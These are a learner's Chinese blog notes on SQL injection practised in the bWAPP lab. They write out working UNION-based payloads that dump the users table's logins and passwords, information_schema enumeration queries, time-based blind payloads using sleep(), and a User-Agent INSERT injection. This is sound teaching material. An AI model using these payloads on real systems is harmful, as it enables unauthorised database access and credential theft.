sql注入 学习笔记

学习来源视频:https://www.bilibili.com/video/BV1HT411E7bH?p=1&vd_source=91ac068ef47e260a09856e8db81907c9

什么是sql注入

sql注入又称sql injection,通过网页或者网络指令的方式修改原本的sql指令,从而从数据库中查询的敏感的信息。

sql注入的本质就是动态sql语句拼接,通过修改传入的参数从而修改拼接的结果。

sql 基础

数据库介绍
  • information_schema 数据信息库,里面存放了数据库名称、表名称、字段等信息
    • SCHEMATA表 存储了所有的数据库信息
    • TABLES表 存放了所有表的信息
    • COLUMNS表 描述了每一个表的每一列的信息。
  • mysql 用户信息、用户权限等
  • performance_schema 内存数据库,速度快。
  • sys 系统库 查询一些数据库的使用情况,如用户登录的ip、表使用的频率等。
指令介绍

show为展示,展示数据库为 show database,查表show tables from information_schema

在这里插入图片描述

-- # 为注释,sql injection 的时候需要将原本的语句修改掉,之后拼接自己的语句。

使用数据库 use,比如使用information_schema指令为:use information_schema

展示为 select,select除了查询也可以跟函数:

  • Now() 当前时间

在这里插入图片描述

  • database() 当前数据库

在这里插入图片描述

  • version() 当前数据库版本
  • user()当前用户

在这里插入图片描述

  • @@datadir 查询数据存放地

在这里插入图片描述

  • @@version_compile_os 查看安装的系统

在这里插入图片描述

查询表字段

  • 建立数据库create database test charset utf8mb4;

  • 创建一张表create table t1 (id int);

CREATE TABLE t1 (id INT ,user_name VARCHAR(32)) ;

  • 修改字段 alter table t1 add name varchar(32);

  • 查询information_schema的信息。

USE information_schema;
SHOW TABLES ;
-- 先查数据库 
SELECT * FROM schemata;
得到数据库名称test
-- 再查这个库中有哪些表
SELECT * FROM TABLES ;

这时候可以看到所有的数据库和表

在这里插入图片描述

加数据库条件

SELECT * FROM TABLES WHERE TABLE_SCHEMA = 'test';

在这里插入图片描述

-- 查询这个表有些字段
SELECT * FROM COLUMNS WHERE table_name = 't1';

在这里插入图片描述

小结:通过information_schema的schemata获取数据库信息、tables获取表信息、通过columns获取字段信息,我们可以获取任意数据库、任意表的相关信息。

where的条件使用and或者or连接,对于sql注入需要用or 常数=常数的方式将where条件中断掉。


union的使用

通过union判断查询了多少的列

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

group_concat(列名)可以将这个列的元素拼接起来。

sql注入 – get方式

下图为网页查询的流程,通过网页输入查询条件,服务器将条件拼接起来,从而形成一条sql语句。因此可以通过修改查询的内容可以获取数据库信息。

在这里插入图片描述

通过特征化输入,影响拼接的数据库信息,修改拼接的数据库,从而获取其他信息

在这里插入图片描述

步骤:

  • 检查发送的请求类型等信息network,XHR中看到整体的请求形式。

在这里插入图片描述

  • 先判断数据库向外有多少字段 通过union select + 数字。
  • 开始查询数据库与对应的用户表从而获取核心用户信息。

是用wbapp作为靶场环境,练习get指令的sql注入。

在这里插入图片描述

先使用'判断是否可以注入,发现回显了sql错误,因此可以使用sql注入。现在需要先用union判断这条sql返回几个参数'union select 1,2,3,4,5 -- 最后发现select返回7个元素'union select 1,2,3,4,5,6,7 --

在这里插入图片描述

回显了2,3,5,4,通过替换2为database()函数'union select 1,database(),3,4,5,6,7 -- ,当前库为bWapp,通过information_shema库找到当前bWapp有哪些表。

在这里插入图片描述

dsds'union select 1,table_name,3,4,5,6,7 from information_schema.TABLES where table_schema = 'bWAPP' -- 可知,有以下五个表,其中user表预判断是与用户有关的,检察一下其中字段。字段在columns表中。

在这里插入图片描述

dsds'union select 1,column_name,3,4,5,6,7 from information_schema.COLUMNS where table_schema = 'bWAPP' and table_name = 'users'-- 获取到表的内容为一下字段

在这里插入图片描述

在通过查询相关的字段就可以得到数据库的数据了。dsds'union select 1,login,3,4,password,6,7 from users --

在这里插入图片描述

sql注入 – post方法

由于post不能通过地址栏输入,因此此采用postman的方式出入指令。

注意登录后需要截取cookie

在这里插入图片描述
在这里插入图片描述

在preview可以看到网页的样子。

由于post的方式将参数放在请求体中,因此通过payload可以看到相关的参数,movie和action。

在这里插入图片描述
在这里插入图片描述

通过观察发现,movie是一个int型的参数,因此需要使用'是语句闭合。加入-- 的方式发现依然可以显示结果,又通过union语句发现存在sql注入的可能性。

在这里插入图片描述

当union跟7个参数时,可以正常显示结果,但是依然只有一条数据,判断此时采用limit的方式限制的返回结果集。由于查询的是moive的title,可以假设只存在一个相同的名字的电影,因此我们可以用Oder by进行排序,可以采用limit的方式显示后面的信息。

在这里插入图片描述
在这里插入图片描述
由于获取信息的只有一条需要结合group_concat语句将一列的内容拼接成为一个整体。
在这里插入图片描述

以上的注入方式需要回显

sql注入 – 盲注

由于以上的展示都需要回显,当没有回显的时候需要采用盲注的方式。

使用场景:没有回显,甚至是否执行都不知道。

原理分析:通过输入制定原理获取网页的行为,如果一致则是存在sql注入。

布尔盲注 采用1=1这种永远成立的布尔类型进行盲注。

基于时间盲注

通过睡眠进行盲注and sleep(),如果沉睡则证明存在sql注入,如果不存在沉睡,说明and条件为空或者不存在sql注入。

例如数据库中只有4条数据,通过语句

select * from t1 where id = 1 and sleep(2)select * from t1 where id =11 and sleep(2)前者id=1可以找到数据,后者没有id为11的数据因此找不到数据。

在这里插入图片描述
在这里插入图片描述

因此可以得知,数据库中存在id为1,同时可以判断出存在sql注入的危险。

此外注入的也可以尝试使用substr(‘abcd’,2,2)表明截取字符串abcd从第2开始截取2个,结果为bc。mid与substr同理。

ps有些时候 substr会被禁止。此时积累一些常用的操作的函数如:ord left等函数

两者结合,采用select substr(database(),1,1) and sleep(1),sleep前如果成立,则网页会sleep会睡眠,因此可以判断出数据库的名称。当执行过慢可以采用尝试ASCII的的方式。

select ascii(“abc”)结果为a的ASCII。

在这里插入图片描述

通过编写脚本的方式,将重复的工作交给脚本完成,从而实现信息的检索。

选择bwapp中的时间盲注demoBlind - Time-Based,发现页面只有一个发送email的反应。

在这里插入图片描述

通过输入

Iron Man' and sleep(2)

发现响应时间为2s

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mHHn6IFw-1664945333336)(C:\Users\42012\Desktop\笔记\sql注入.assets\image-20221004165439468.png)]

说明存在sql注入以及存在一个记录为Iron man,下来开始判断数据库的长度。

Iron Man' and length(database()) > 3 and sleep(2) -- 

输入sql发现请求时间只有30ms因此不对

在这里插入图片描述

最后通过尝试发现数据库长度为5,以下为sql语句

Iron Man' and length(database()) =5 and sleep(2) -- 

由于存在过多的注入的结果因此应该写脚本得到数据库信息。

通过脚本的方式拼接发送的字符串,

通过获取数据库长度->获取数据库名称(ASCII的方式)->获取数据库表的数量->每个表的名称->筛选有用的表->获取表的列并筛选那些有用->读取内容

tip:所有的代码应该根据对应的sql语句来编写。

sql注入 – user_agent

user_agent是request发送的请求,通过读取本机的发送指令的方式可以获取,即通过user_agent可以知道是那种上网方式,也可以知道是否是爬虫。

在这里插入图片描述

这里是用postman访问的结果

在这里插入图片描述

可以看到postman发送的信息和网页不同,这个就是由于user_agent。在postman请求头中修改user_agent就可以进行变化。

在这里插入图片描述

user_agent的逻辑问读取请求头内容,然后通过insert into指令将信息写入表中,因此应该是 insert into XX values(ip, user_agent),因此通过修改加入aaa', (select database())) # 发现可以注入sql。这就相当于一个有回显的sql注入了。

在这里插入图片描述

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值